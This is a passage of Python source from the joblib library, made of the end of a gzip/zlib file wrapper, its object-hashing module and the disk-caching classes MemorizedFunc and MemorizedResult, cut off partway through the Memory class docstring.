            return len(data)

    # Rewind the file to the beginning of the data stream.
    def _rewind(self):
        self._fp.seek(0, 0)
        self._mode = _MODE_READ
        self._pos = 0
        self._decompressor = zlib.decompressobj(self.wbits)
        self._buffer = b""
        self._buffer_offset = 0

    def seek(self, offset, whence=0):
        """Change the file position.

        The new position is specified by offset, relative to the
        position indicated by whence. Values for whence are:

            0: start of stream (default); offset must not be negative
            1: current stream position
            2: end of stream; offset must not be positive

        Returns the new file position.

        Note that seeking is emulated, so depending on the parameters,
        this operation may be extremely slow.
        """
        with self._lock:
            self._check_can_seek()

            # Recalculate offset as an absolute file position.
            if whence == 0:
                pass
            elif whence == 1:
                offset = self._pos + offset
            elif whence == 2:
                # Seeking relative to EOF - we need to know the file's size.
                if self._size < 0:
                    self._read_all(return_data=False)
                offset = self._size + offset
            else:
                raise ValueError("Invalid value for whence: %s" % (whence,))

            # Make it so that offset is the number of bytes to skip forward.
            if offset < self._pos:
                self._rewind()
            else:
                offset -= self._pos

            # Read and discard data until we reach the desired position.
            self._read_block(offset, return_data=False)

            return self._pos

    def tell(self):
        """Return the current file position."""
        with self._lock:
            self._check_not_closed()
            return self._pos


class BinaryGzipFile(BinaryZlibFile):
    """A file object providing transparent gzip (de)compression.

    If filename is a str or bytes object, it gives the name
    of the file to be opened. Otherwise, it should be a file object,
    which will be used to read or write the compressed data.

    mode can be 'rb' for reading (default) or 'wb' for (over)writing

    If mode is 'wb', compresslevel can be a number between 1
    and 9 specifying the level of compression: 1 produces the least
    compression, and 9 (default) produces the most compression.
    """

    wbits = 31  # zlib compressor/decompressor wbits value for gzip format.


# Utility functions/variables from numpy required for writing arrays.
# We need at least the functions introduced in version 1.9 of numpy. Here,
# we use the ones from numpy 1.10.2.
BUFFER_SIZE = 2 ** 18  # size of buffer for reading npz files in bytes


def _read_bytes(fp, size, error_template="ran out of data"):
    """Read from file-like object until size bytes are read.

    Raises ValueError if not EOF is encountered before size bytes are read.
    Non-blocking objects only supported if they derive from io objects.

    Required as e.g. ZipExtFile in python 2.6 can return less data than
    requested.

    This function was taken from numpy/lib/format.py in version 1.10.2.

    Parameters
    ----------
    fp: file-like object
    size: int
    error_template: str

    Returns
    -------
    a bytes object
        The data read in bytes.

    """
    data = bytes()
    while True:
        # io files (default in python3) return None or raise on
        # would-block, python2 file will truncate, probably nothing can be
        # done about that.  note that regular files can't be non-blocking
        try:
            r = fp.read(size - len(data))
            data += r
            if len(r) == 0 or len(data) == size:
                break
        except io.BlockingIOError:
            pass
    if len(data) != size:
        msg = "EOF: reading %s, expected %d bytes got %d"
        raise ValueError(msg % (error_template, size, len(data)))
    else:
        return data






"""
Fast cryptographic hash of Python objects, with a special case for fast
hashing of numpy arrays.
"""

# Author: Gael Varoquaux <gael dot varoquaux at normalesup dot org>
# Copyright (c) 2009 Gael Varoquaux
# License: BSD Style, 3 clauses.

import pickle
import hashlib
import sys
import types
import struct
import io

from ._compat import _bytes_or_unicode, PY3_OR_LATER


if PY3_OR_LATER:
    Pickler = pickle._Pickler
else:
    Pickler = pickle.Pickler


class _ConsistentSet(object):
    """ Class used to ensure the hash of Sets is preserved
        whatever the order of its items.
    """
    def __init__(self, set_sequence):
        # Forces order of elements in set to ensure consistent hash.
        try:
            # Trying first to order the set assuming the type of elements is
            # consistent and orderable.
            # This fails on python 3 when elements are unorderable
            # but we keep it in a try as it's faster.
            self._sequence = sorted(set_sequence)
        except TypeError:
            # If elements are unorderable, sorting them using their hash.
            # This is slower but works in any case.
            self._sequence = sorted((hash(e) for e in set_sequence))


class _MyHash(object):
    """ Class used to hash objects that won't normally pickle """

    def __init__(self, *args):
        self.args = args


class Hasher(Pickler):
    """ A subclass of pickler, to do cryptographic hashing, rather than
        pickling.
    """

    def __init__(self, hash_name='md5'):
        self.stream = io.BytesIO()
        # By default we want a pickle protocol that only changes with
        # the major python version and not the minor one
        protocol = (pickle.DEFAULT_PROTOCOL if PY3_OR_LATER
                    else pickle.HIGHEST_PROTOCOL)
        Pickler.__init__(self, self.stream, protocol=protocol)
        # Initialise the hash obj
        self._hash = hashlib.new(hash_name)

    def hash(self, obj, return_digest=True):
        try:
            self.dump(obj)
        except pickle.PicklingError as e:
            e.args += ('PicklingError while hashing %r: %r' % (obj, e),)
            raise
        dumps = self.stream.getvalue()
        self._hash.update(dumps)
        if return_digest:
            return self._hash.hexdigest()

    def save(self, obj):
        if isinstance(obj, (types.MethodType, type({}.pop))):
            # the Pickler cannot pickle instance methods; here we decompose
            # them into components that make them uniquely identifiable
            if hasattr(obj, '__func__'):
                func_name = obj.__func__.__name__
            else:
                func_name = obj.__name__
            inst = obj.__self__
            if type(inst) == type(pickle):
                obj = _MyHash(func_name, inst.__name__)
            elif inst is None:
                # type(None) or type(module) do not pickle
                obj = _MyHash(func_name, inst)
            else:
                cls = obj.__self__.__class__
                obj = _MyHash(func_name, inst, cls)
        Pickler.save(self, obj)

    def memoize(self, obj):
        # We want hashing to be sensitive to value instead of reference.
        # For example we want ['aa', 'aa'] and ['aa', 'aaZ'[:2]]
        # to hash to the same value and that's why we disable memoization
        # for strings
        if isinstance(obj, _bytes_or_unicode):
            return
        Pickler.memoize(self, obj)

    # The dispatch table of the pickler is not accessible in Python
    # 3, as these lines are only bugware for IPython, we skip them.
    def save_global(self, obj, name=None, pack=struct.pack):
        # We have to override this method in order to deal with objects
        # defined interactively in IPython that are not injected in
        # __main__
        kwargs = dict(name=name, pack=pack)
        if sys.version_info >= (3, 4):
            del kwargs['pack']
        try:
            Pickler.save_global(self, obj, **kwargs)
        except pickle.PicklingError:
            Pickler.save_global(self, obj, **kwargs)
            module = getattr(obj, "__module__", None)
            if module == '__main__':
                my_name = name
                if my_name is None:
                    my_name = obj.__name__
                mod = sys.modules[module]
                if not hasattr(mod, my_name):
                    # IPython doesn't inject the variables define
                    # interactively in __main__
                    setattr(mod, my_name, obj)

    dispatch = Pickler.dispatch.copy()
    # builtin
    dispatch[type(len)] = save_global
    # type
    dispatch[type(object)] = save_global
    # classobj
    dispatch[type(Pickler)] = save_global
    # function
    dispatch[type(pickle.dump)] = save_global

    def _batch_setitems(self, items):
        # forces order of keys in dict to ensure consistent hash.
        try:
            # Trying first to compare dict assuming the type of keys is
            # consistent and orderable.
            # This fails on python 3 when keys are unorderable
            # but we keep it in a try as it's faster.
            Pickler._batch_setitems(self, iter(sorted(items)))
        except TypeError:
            # If keys are unorderable, sorting them using their hash. This is
            # slower but works in any case.
            Pickler._batch_setitems(self, iter(sorted((hash(k), v)
                                                      for k, v in items)))

    def save_set(self, set_items):
        # forces order of items in Set to ensure consistent hash
        Pickler.save(self, _ConsistentSet(set_items))

    dispatch[type(set())] = save_set


class NumpyHasher(Hasher):
    """ Special case the hasher for when numpy is loaded.
    """

    def __init__(self, hash_name='md5', coerce_mmap=False):
        """
            Parameters
            ----------
            hash_name: string
                The hash algorithm to be used
            coerce_mmap: boolean
                Make no difference between np.memmap and np.ndarray
                objects.
        """
        self.coerce_mmap = coerce_mmap
        Hasher.__init__(self, hash_name=hash_name)
        # delayed import of numpy, to avoid tight coupling
        import numpy as np
        self.np = np
        if hasattr(np, 'getbuffer'):
            self._getbuffer = np.getbuffer
        else:
            self._getbuffer = memoryview

    def save(self, obj):
        """ Subclass the save method, to hash ndarray subclass, rather
            than pickling them. Off course, this is a total abuse of
            the Pickler class.
        """
        if isinstance(obj, self.np.ndarray) and not obj.dtype.hasobject:
            # Compute a hash of the object
            # The update function of the hash requires a c_contiguous buffer.
            if obj.shape == ():
                # 0d arrays need to be flattened because viewing them as bytes
                # raises a ValueError exception.
                obj_c_contiguous = obj.flatten()
            elif obj.flags.c_contiguous:
                obj_c_contiguous = obj
            elif obj.flags.f_contiguous:
                obj_c_contiguous = obj.T
            else:
                # Cater for non-single-segment arrays: this creates a
                # copy, and thus aleviates this issue.
                # XXX: There might be a more efficient way of doing this
                obj_c_contiguous = obj.flatten()

            # memoryview is not supported for some dtypes, e.g. datetime64, see
            # https://github.com/numpy/numpy/issues/4983. The
            # workaround is to view the array as bytes before
            # taking the memoryview.
            self._hash.update(
                self._getbuffer(obj_c_contiguous.view(self.np.uint8)))

            # We store the class, to be able to distinguish between
            # Objects with the same binary content, but different
            # classes.
            if self.coerce_mmap and isinstance(obj, self.np.memmap):
                # We don't make the difference between memmap and
                # normal ndarrays, to be able to reload previously
                # computed results with memmap.
                klass = self.np.ndarray
            else:
                klass = obj.__class__
            # We also return the dtype and the shape, to distinguish
            # different views on the same data with different dtypes.

            # The object will be pickled by the pickler hashed at the end.
            obj = (klass, ('HASHED', obj.dtype, obj.shape, obj.strides))
        elif isinstance(obj, self.np.dtype):
            # Atomic dtype objects are interned by their default constructor:
            # np.dtype('f8') is np.dtype('f8')
            # This interning is not maintained by a
            # pickle.loads + pickle.dumps cycle, because __reduce__
            # uses copy=True in the dtype constructor. This
            # non-deterministic behavior causes the internal memoizer
            # of the hasher to generate different hash values
            # depending on the history of the dtype object.
            # To prevent the hash from being sensitive to this, we use
            # .descr which is a full (and never interned) description of
            # the array dtype according to the numpy doc.
            klass = obj.__class__
            obj = (klass, ('HASHED', obj.descr))
        Hasher.save(self, obj)


def hash(obj, hash_name='md5', coerce_mmap=False):
    """ Quick calculation of a hash to identify uniquely Python objects
        containing numpy arrays.


        Parameters
        -----------
        hash_name: 'md5' or 'sha1'
            Hashing algorithm used. sha1 is supposedly safer, but md5 is
            faster.
        coerce_mmap: boolean
            Make no difference between np.memmap and np.ndarray
    """
    if 'numpy' in sys.modules:
        hasher = NumpyHasher(hash_name=hash_name, coerce_mmap=coerce_mmap)
    else:
        hasher = Hasher(hash_name=hash_name)
    return hasher.hash(obj)






"""
A context object for caching a function's return value each time it
is called with the same input arguments.

"""

# Author: Gael Varoquaux <gael dot varoquaux at normalesup dot org>
# Copyright (c) 2009 Gael Varoquaux
# License: BSD Style, 3 clauses.


from __future__ import with_statement
import os
import shutil
import time
import pydoc
import re
import sys
try:
    import cPickle as pickle
except ImportError:
    import pickle
import functools
import traceback
import warnings
import inspect
import json
import weakref
import io

# Local imports
from . import hashing
from .func_inspect import get_func_code, get_func_name, filter_args
from .func_inspect import format_signature, format_call
from ._memory_helpers import open_py_source
from .logger import Logger, format_time, pformat
from . import numpy_pickle
from .disk import mkdirp, rm_subdirs
from ._compat import _basestring, PY3_OR_LATER

FIRST_LINE_TEXT = "# first line:"

# TODO: The following object should have a data store object as a sub
# object, and the interface to persist and query should be separated in
# the data store.
#
# This would enable creating 'Memory' objects with a different logic for
# pickling that would simply span a MemorizedFunc with the same
# store (or do we want to copy it to avoid cross-talks?), for instance to
# implement HDF5 pickling.

# TODO: Same remark for the logger, and probably use the Python logging
# mechanism.


def extract_first_line(func_code):
    """ Extract the first line information from the function code
        text if available.
    """
    if func_code.startswith(FIRST_LINE_TEXT):
        func_code = func_code.split('\n')
        first_line = int(func_code[0][len(FIRST_LINE_TEXT):])
        func_code = '\n'.join(func_code[1:])
    else:
        first_line = -1
    return func_code, first_line


class JobLibCollisionWarning(UserWarning):
    """ Warn that there might be a collision between names of functions.
    """


def _get_func_fullname(func):
    """Compute the part of part associated with a function.

    See code of_cache_key_to_dir() for details
    """
    modules, funcname = get_func_name(func)
    modules.append(funcname)
    return os.path.join(*modules)


def _cache_key_to_dir(cachedir, func, argument_hash):
    """Compute directory associated with a given cache key.

    func can be a function or a string as returned by _get_func_fullname().
    """
    parts = [cachedir]
    if isinstance(func, _basestring):
        parts.append(func)
    else:
        parts.append(_get_func_fullname(func))

    if argument_hash is not None:
        parts.append(argument_hash)
    return os.path.join(*parts)


def _load_output(output_dir, func_name, timestamp=None, metadata=None,
                 mmap_mode=None, verbose=0):
    """Load output of a computation."""
    if verbose > 1:
        signature = ""
        try:
            if metadata is not None:
                args = ", ".join(['%s=%s' % (name, value)
                                  for name, value
                                  in metadata['input_args'].items()])
                signature = "%s(%s)" % (os.path.basename(func_name),
                                             args)
            else:
                signature = os.path.basename(func_name)
        except KeyError:
            pass

        if timestamp is not None:
            t = "% 16s" % format_time(time.time() - timestamp)
        else:
            t = ""

        if verbose < 10:
            print('[Memory]%s: Loading %s...' % (t, str(signature)))
        else:
            print('[Memory]%s: Loading %s from %s' % (
                    t, str(signature), output_dir))

    filename = os.path.join(output_dir, 'output.pkl')
    if not os.path.isfile(filename):
        raise KeyError(
            "Non-existing cache value (may have been cleared).\n"
            "File %s does not exist" % filename)
    return numpy_pickle.load(filename, mmap_mode=mmap_mode)


# An in-memory store to avoid looking at the disk-based function
# source code to check if a function definition has changed
_FUNCTION_HASHES = weakref.WeakKeyDictionary()


###############################################################################
# class `MemorizedResult`
###############################################################################
class MemorizedResult(Logger):
    """Object representing a cached value.

    Attributes
    ----------
    cachedir: string
        path to root of joblib cache

    func: function or string
        function whose output is cached. The string case is intended only for
        instanciation based on the output of repr() on another instance.
        (namely eval(repr(memorized_instance)) works).

    argument_hash: string
        hash of the function arguments

    mmap_mode: {None, 'r+', 'r', 'w+', 'c'}
        The memmapping mode used when loading from cache numpy arrays. See
        numpy.load for the meaning of the different values.

    verbose: int
        verbosity level (0 means no message)

    timestamp, metadata: string
        for internal use only
    """
    def __init__(self, cachedir, func, argument_hash,
                 mmap_mode=None, verbose=0, timestamp=None, metadata=None):
        Logger.__init__(self)
        if isinstance(func, _basestring):
            self.func = func
        else:
            self.func = _get_func_fullname(func)
        self.argument_hash = argument_hash
        self.cachedir = cachedir
        self.mmap_mode = mmap_mode

        self._output_dir = _cache_key_to_dir(cachedir, self.func,
                                             argument_hash)

        if metadata is not None:
            self.metadata = metadata
        else:
            self.metadata = {}
            # No error is relevant here.
            try:
                with open(os.path.join(self._output_dir, 'metadata.json'),
                          'rb') as f:
                    self.metadata = json.load(f)
            except:
                pass

        self.duration = self.metadata.get('duration', None)
        self.verbose = verbose
        self.timestamp = timestamp

    def get(self):
        """Read value from cache and return it."""
        return _load_output(self._output_dir, _get_func_fullname(self.func),
                            timestamp=self.timestamp,
                            metadata=self.metadata, mmap_mode=self.mmap_mode,
                            verbose=self.verbose)

    def clear(self):
        """Clear value from cache"""
        shutil.rmtree(self._output_dir, ignore_errors=True)

    def __repr__(self):
        return ('{class_name}(cachedir="{cachedir}", func="{func}", '
                'argument_hash="{argument_hash}")'.format(
                    class_name=self.__class__.__name__,
                    cachedir=self.cachedir,
                    func=self.func,
                    argument_hash=self.argument_hash
                    ))

    def __reduce__(self):
        return (self.__class__, (self.cachedir, self.func, self.argument_hash),
                {'mmap_mode': self.mmap_mode})


class NotMemorizedResult(object):
    """Class representing an arbitrary value.

    This class is a replacement for MemorizedResult when there is no cache.
    """
    __slots__ = ('value', 'valid')

    def __init__(self, value):
        self.value = value
        self.valid = True

    def get(self):
        if self.valid:
            return self.value
        else:
            raise KeyError("No value stored.")

    def clear(self):
        self.valid = False
        self.value = None

    def __repr__(self):
        if self.valid:
            return '{class_name}({value})'.format(
                class_name=self.__class__.__name__,
                value=pformat(self.value)
                )
        else:
            return self.__class__.__name__ + ' with no value'

    # __getstate__ and __setstate__ are required because of __slots__
    def __getstate__(self):
        return {"valid": self.valid, "value": self.value}

    def __setstate__(self, state):
        self.valid = state["valid"]
        self.value = state["value"]


###############################################################################
# class `NotMemorizedFunc`
###############################################################################
class NotMemorizedFunc(object):
    """No-op object decorating a function.

    This class replaces MemorizedFunc when there is no cache. It provides an
    identical API but does not write anything on disk.

    Attributes
    ----------
    func: callable
        Original undecorated function.
    """
    # Should be a light as possible (for speed)
    def __init__(self, func):
        self.func = func

    def __call__(self, *args, **kwargs):
        return self.func(*args, **kwargs)

    def call_and_shelve(self, *args, **kwargs):
        return NotMemorizedResult(self.func(*args, **kwargs))

    def __reduce__(self):
        return (self.__class__, (self.func,))

    def __repr__(self):
        return '%s(func=%s)' % (
                    self.__class__.__name__,
                    self.func
            )

    def clear(self, warn=True):
        # Argument "warn" is for compatibility with MemorizedFunc.clear
        pass


###############################################################################
# class `MemorizedFunc`
###############################################################################
class MemorizedFunc(Logger):
    """ Callable object decorating a function for caching its return value
        each time it is called.

        All values are cached on the filesystem, in a deep directory
        structure. Methods are provided to inspect the cache or clean it.

        Attributes
        ----------
        func: callable
            The original, undecorated, function.

        cachedir: string
            Path to the base cache directory of the memory context.

        ignore: list or None
            List of variable names to ignore when choosing whether to
            recompute.

        mmap_mode: {None, 'r+', 'r', 'w+', 'c'}
            The memmapping mode used when loading from cache
            numpy arrays. See numpy.load for the meaning of the different
            values.

        compress: boolean, or integer
            Whether to zip the stored data on disk. If an integer is
            given, it should be between 1 and 9, and sets the amount
            of compression. Note that compressed arrays cannot be
            read by memmapping.

        verbose: int, optional
            The verbosity flag, controls messages that are issued as
            the function is evaluated.
    """
    #-------------------------------------------------------------------------
    # Public interface
    #-------------------------------------------------------------------------

    def __init__(self, func, cachedir, ignore=None, mmap_mode=None,
                 compress=False, verbose=1, timestamp=None):
        """
            Parameters
            ----------
            func: callable
                The function to decorate
            cachedir: string
                The path of the base directory to use as a data store
            ignore: list or None
                List of variable names to ignore.
            mmap_mode: {None, 'r+', 'r', 'w+', 'c'}, optional
                The memmapping mode used when loading from cache
                numpy arrays. See numpy.load for the meaning of the
                arguments.
            compress : boolean, or integer
                Whether to zip the stored data on disk. If an integer is
                given, it should be between 1 and 9, and sets the amount
                of compression. Note that compressed arrays cannot be
                read by memmapping.
            verbose: int, optional
                Verbosity flag, controls the debug messages that are issued
                as functions are evaluated. The higher, the more verbose
            timestamp: float, optional
                The reference time from which times in tracing messages
                are reported.
        """
        Logger.__init__(self)
        self.mmap_mode = mmap_mode
        self.func = func
        if ignore is None:
            ignore = []
        self.ignore = ignore

        self._verbose = verbose
        self.cachedir = cachedir
        self.compress = compress
        if compress and self.mmap_mode is not None:
            warnings.warn('Compressed results cannot be memmapped',
                          stacklevel=2)
        if timestamp is None:
            timestamp = time.time()
        self.timestamp = timestamp
        mkdirp(self.cachedir)
        try:
            functools.update_wrapper(self, func)
        except:
            " Objects like ufunc don't like that "
        if inspect.isfunction(func):
            doc = pydoc.TextDoc().document(func)
            # Remove blank line
            doc = doc.replace('\n', '\n\n', 1)
            # Strip backspace-overprints for compatibility with autodoc
            doc = re.sub('\x08.', '', doc)
        else:
            # Pydoc does a poor job on other objects
            doc = func.__doc__
        self.__doc__ = 'Memoized version of %s' % doc

    def _cached_call(self, args, kwargs):
        """Call wrapped function and cache result, or read cache if available.

        This function returns the wrapped function output and some metadata.

        Returns
        -------
        output: value or tuple
            what is returned by wrapped function

        argument_hash: string
            hash of function arguments

        metadata: dict
            some metadata about wrapped function call (see _persist_input())
        """
        # Compare the function code with the previous to see if the
        # function code has changed
        output_dir, argument_hash = self._get_output_dir(*args, **kwargs)
        metadata = None
        # FIXME: The statements below should be try/excepted
        if not (self._check_previous_func_code(stacklevel=4) and
                                 os.path.exists(output_dir)):
            if self._verbose > 10:
                _, name = get_func_name(self.func)
                self.warn('Computing func %s, argument hash %s in '
                          'directory %s'
                        % (name, argument_hash, output_dir))
            out, metadata = self.call(*args, **kwargs)
            if self.mmap_mode is not None:
                # Memmap the output at the first call to be consistent with
                # later calls
                out = _load_output(output_dir, _get_func_fullname(self.func),
                                   timestamp=self.timestamp,
                                   mmap_mode=self.mmap_mode,
                                   verbose=self._verbose)
        else:
            try:
                t0 = time.time()
                out = _load_output(output_dir, _get_func_fullname(self.func),
                                   timestamp=self.timestamp,
                                   metadata=metadata, mmap_mode=self.mmap_mode,
                                   verbose=self._verbose)
                if self._verbose > 4:
                    t = time.time() - t0
                    _, name = get_func_name(self.func)
                    msg = '%s cache loaded - %s' % (name, format_time(t))
                    print(max(0, (80 - len(msg))) * '_' + msg)
            except Exception:
                # XXX: Should use an exception logger
                self.warn('Exception while loading results for '
                          '(args=%s, kwargs=%s)\n %s' %
                          (args, kwargs, traceback.format_exc()))

                shutil.rmtree(output_dir, ignore_errors=True)
                out, metadata = self.call(*args, **kwargs)
                argument_hash = None
        return (out, argument_hash, metadata)

    def call_and_shelve(self, *args, **kwargs):
        """Call wrapped function, cache result and return a reference.

        This method returns a reference to the cached result instead of the
        result itself. The reference object is small and pickeable, allowing
        to send or store it easily. Call .get() on reference object to get
        result.

        Returns
        -------
        cached_result: MemorizedResult or NotMemorizedResult
            reference to the value returned by the wrapped function. The
            class "NotMemorizedResult" is used when there is no cache
            activated (e.g. cachedir=None in Memory).
        """
        _, argument_hash, metadata = self._cached_call(args, kwargs)

        return MemorizedResult(self.cachedir, self.func, argument_hash,
            metadata=metadata, verbose=self._verbose - 1,
            timestamp=self.timestamp)

    def __call__(self, *args, **kwargs):
        return self._cached_call(args, kwargs)[0]

    def __reduce__(self):
        """ We don't store the timestamp when pickling, to avoid the hash
            depending from it.
            In addition, when unpickling, we run the __init__
        """
        return (self.__class__, (self.func, self.cachedir, self.ignore,
                self.mmap_mode, self.compress, self._verbose))

    def format_signature(self, *args, **kwargs):
        warnings.warn("MemorizedFunc.format_signature will be removed in a "
                      "future version of joblib.", DeprecationWarning)
        return format_signature(self.func, *args, **kwargs)

    def format_call(self, *args, **kwargs):
        warnings.warn("MemorizedFunc.format_call will be removed in a "
                      "future version of joblib.", DeprecationWarning)
        return format_call(self.func, args, kwargs)

    #-------------------------------------------------------------------------
    # Private interface
    #-------------------------------------------------------------------------

    def _get_argument_hash(self, *args, **kwargs):
        return hashing.hash(filter_args(self.func, self.ignore,
                                         args, kwargs),
                             coerce_mmap=(self.mmap_mode is not None))

    def _get_output_dir(self, *args, **kwargs):
        """ Return the directory in which are persisted the result
            of the function called with the given arguments.
        """
        argument_hash = self._get_argument_hash(*args, **kwargs)
        output_dir = os.path.join(self._get_func_dir(self.func),
                                  argument_hash)
        return output_dir, argument_hash

    get_output_dir = _get_output_dir  # backward compatibility

    def _get_func_dir(self, mkdir=True):
        """ Get the directory corresponding to the cache for the
            function.
        """
        func_dir = _cache_key_to_dir(self.cachedir, self.func, None)
        if mkdir:
            mkdirp(func_dir)
        return func_dir

    def _hash_func(self):
        """Hash a function to key the online cache"""
        func_code_h = hash(getattr(self.func, '__code__', None))
        return id(self.func), hash(self.func), func_code_h

    def _write_func_code(self, filename, func_code, first_line):
        """ Write the function code and the filename to a file.
        """
        # We store the first line because the filename and the function
        # name is not always enough to identify a function: people
        # sometimes have several functions named the same way in a
        # file. This is bad practice, but joblib should be robust to bad
        # practice.
        func_code = u'%s %i\n%s' % (FIRST_LINE_TEXT, first_line, func_code)
        with io.open(filename, 'w', encoding="UTF-8") as out:
            out.write(func_code)
        # Also store in the in-memory store of function hashes
        is_named_callable = False
        if PY3_OR_LATER:
            is_named_callable = (hasattr(self.func, '__name__')
                                 and self.func.__name__ != '<lambda>')
        else:
            is_named_callable = (hasattr(self.func, 'func_name')
                                 and self.func.func_name != '<lambda>')
        if is_named_callable:
            # Don't do this for lambda functions or strange callable
            # objects, as it ends up being too fragile
            func_hash = self._hash_func()
            try:
                _FUNCTION_HASHES[self.func] = func_hash
            except TypeError:
                # Some callable are not hashable
                pass

    def _check_previous_func_code(self, stacklevel=2):
        """
            stacklevel is the depth a which this function is called, to
            issue useful warnings to the user.
        """
        # First check if our function is in the in-memory store.
        # Using the in-memory store not only makes things faster, but it
        # also renders us robust to variations of the files when the
        # in-memory version of the code does not vary
        try:
            if self.func in _FUNCTION_HASHES:
                # We use as an identifier the id of the function and its
                # hash. This is more likely to falsely change than have hash
                # collisions, thus we are on the safe side.
                func_hash = self._hash_func()
                if func_hash == _FUNCTION_HASHES[self.func]:
                    return True
        except TypeError:
            # Some callables are not hashable
            pass

        # Here, we go through some effort to be robust to dynamically
        # changing code and collision. We cannot inspect.getsource
        # because it is not reliable when using IPython's magic "%run".
        func_code, source_file, first_line = get_func_code(self.func)
        func_dir = self._get_func_dir()
        func_code_file = os.path.join(func_dir, 'func_code.py')

        try:
            with io.open(func_code_file, encoding="UTF-8") as infile:
                old_func_code, old_first_line = \
                            extract_first_line(infile.read())
        except IOError:
                self._write_func_code(func_code_file, func_code, first_line)
                return False
        if old_func_code == func_code:
            return True

        # We have differing code, is this because we are referring to
        # different functions, or because the function we are referring to has
        # changed?

        _, func_name = get_func_name(self.func, resolv_alias=False,
                                     win_characters=False)
        if old_first_line == first_line == -1 or func_name == '<lambda>':
            if not first_line == -1:
                func_description = '%s (%s:%i)' % (func_name,
                                                source_file, first_line)
            else:
                func_description = func_name
            warnings.warn(JobLibCollisionWarning(
                "Cannot detect name collisions for function '%s'"
                        % func_description), stacklevel=stacklevel)

        # Fetch the code at the old location and compare it. If it is the
        # same than the code store, we have a collision: the code in the
        # file has not changed, but the name we have is pointing to a new
        # code block.
        if not old_first_line == first_line and source_file is not None:
            possible_collision = False
            if os.path.exists(source_file):
                _, func_name = get_func_name(self.func, resolv_alias=False)
                num_lines = len(func_code.split('\n'))
                with open_py_source(source_file) as f:
                    on_disk_func_code = f.readlines()[
                        old_first_line - 1:old_first_line - 1 + num_lines - 1]
                on_disk_func_code = ''.join(on_disk_func_code)
                possible_collision = (on_disk_func_code.rstrip()
                                      == old_func_code.rstrip())
            else:
                possible_collision = source_file.startswith('<doctest ')
            if possible_collision:
                warnings.warn(JobLibCollisionWarning(
                        'Possible name collisions between functions '
                        "'%s' (%s:%i) and '%s' (%s:%i)" %
                        (func_name, source_file, old_first_line,
                        func_name, source_file, first_line)),
                                stacklevel=stacklevel)

        # The function has changed, wipe the cache directory.
        # XXX: Should be using warnings, and giving stacklevel
        if self._verbose > 10:
            _, func_name = get_func_name(self.func, resolv_alias=False)
            self.warn("Function %s (stored in %s) has changed." %
                        (func_name, func_dir))
        self.clear(warn=True)
        return False

    def clear(self, warn=True):
        """ Empty the function's cache.
        """
        func_dir = self._get_func_dir(mkdir=False)
        if self._verbose > 0 and warn:
            self.warn("Clearing cache %s" % func_dir)
        if os.path.exists(func_dir):
            shutil.rmtree(func_dir, ignore_errors=True)
        mkdirp(func_dir)
        func_code, _, first_line = get_func_code(self.func)
        func_code_file = os.path.join(func_dir, 'func_code.py')
        self._write_func_code(func_code_file, func_code, first_line)

    def call(self, *args, **kwargs):
        """ Force the execution of the function with the given arguments and
            persist the output values.
        """
        start_time = time.time()
        output_dir, _ = self._get_output_dir(*args, **kwargs)
        if self._verbose > 0:
            print(format_call(self.func, args, kwargs))
        output = self.func(*args, **kwargs)
        self._persist_output(output, output_dir)
        duration = time.time() - start_time
        metadata = self._persist_input(output_dir, duration, args, kwargs)

        if self._verbose > 0:
            _, name = get_func_name(self.func)
            msg = '%s - %s' % (name, format_time(duration))
            print(max(0, (80 - len(msg))) * '_' + msg)
        return output, metadata

    # Make public
    def _persist_output(self, output, dir):
        """ Persist the given output tuple in the directory.
        """
        try:
            mkdirp(dir)
            filename = os.path.join(dir, 'output.pkl')
            numpy_pickle.dump(output, filename, compress=self.compress)
            if self._verbose > 10:
                print('Persisting in %s' % dir)
        except OSError:
            " Race condition in the creation of the directory "

    def _persist_input(self, output_dir, duration, args, kwargs,
                       this_duration_limit=0.5):
        """ Save a small summary of the call using json format in the
            output directory.

            output_dir: string
                directory where to write metadata.

            duration: float
                time taken by hashing input arguments, calling the wrapped
                function and persisting its output.

            args, kwargs: list and dict
                input arguments for wrapped function

            this_duration_limit: float
                Max execution time for this function before issuing a warning.
        """
        start_time = time.time()
        argument_dict = filter_args(self.func, self.ignore,
                                    args, kwargs)

        input_repr = dict((k, repr(v)) for k, v in argument_dict.items())
        # This can fail due to race-conditions with multiple
        # concurrent joblibs removing the file or the directory
        metadata = {"duration": duration, "input_args": input_repr}
        try:
            mkdirp(output_dir)
            with open(os.path.join(output_dir, 'metadata.json'), 'w') as f:
                json.dump(metadata, f)
        except:
            pass

        this_duration = time.time() - start_time
        if this_duration > this_duration_limit:
            # This persistence should be fast. It will not be if repr() takes
            # time and its output is large, because json.dump will have to
            # write a large file. This should not be an issue with numpy arrays
            # for which repr() always output a short representation, but can
            # be with complex dictionaries. Fixing the problem should be a
            # matter of replacing repr() above by something smarter.
            warnings.warn("Persisting input arguments took %.2fs to run.\n"
                          "If this happens often in your code, it can cause "
                          "performance problems \n"
                          "(results will be correct in all cases). \n"
                          "The reason for this is probably some large input "
                          "arguments for a wrapped\n"
                          " function (e.g. large strings).\n"
                          "THIS IS A JOBLIB ISSUE. If you can, kindly provide "
                          "the joblib's team with an\n"
                          " example so that they can fix the problem."
                          % this_duration, stacklevel=5)
        return metadata

    def load_output(self, output_dir):
        """ Read the results of a previous calculation from the directory
            it was cached in.
        """
        warnings.warn("MemorizedFunc.load_output is deprecated and will be "
                      "removed in a future version\n"
                      "of joblib. A MemorizedResult provides similar features",
                      DeprecationWarning)
        # No metadata available here.
        return _load_output(output_dir, _get_func_fullname(self.func),
                            timestamp=self.timestamp,
                            mmap_mode=self.mmap_mode, verbose=self._verbose)

    # XXX: Need a method to check if results are available.

    #-------------------------------------------------------------------------
    # Private `object` interface
    #-------------------------------------------------------------------------

    def __repr__(self):
        return '%s(func=%s, cachedir=%s)' % (
                    self.__class__.__name__,
                    self.func,
                    repr(self.cachedir),
                    )


###############################################################################
# class `Memory`
###############################################################################
class Memory(Logger):
    """ A context object for caching a function's return value each time it
        is called with the same input arguments.

        All values are cached on the filesystem, in a deep directory
        structure.

        see :ref:`memory_reference`
    """
    #-------------------------------------------------------------------------
    # Public interface
    #-------------------------------------------------------------------------

    def __init__(self, cachedir, mmap_mode=None, compress=False, verbose=1):
        """
            Parameters
            ----------
            cachedir: string or None
                The path of the base directory to use as a data store
                or None. If None is given, no caching is done and
                the Memory object is completely transparent.
            mmap_mode: {None, 'r+', 'r', 'w+', 'c'}, optional
                The memmapping mode used when loading from cache
                numpy arrays. See numpy.load for the meaning of the
                arguments.
            compress: boolean, or integer
                Whether to zip the stored data on disk. If an integer is
                given, it should be between 1 and 9, and sets the amount
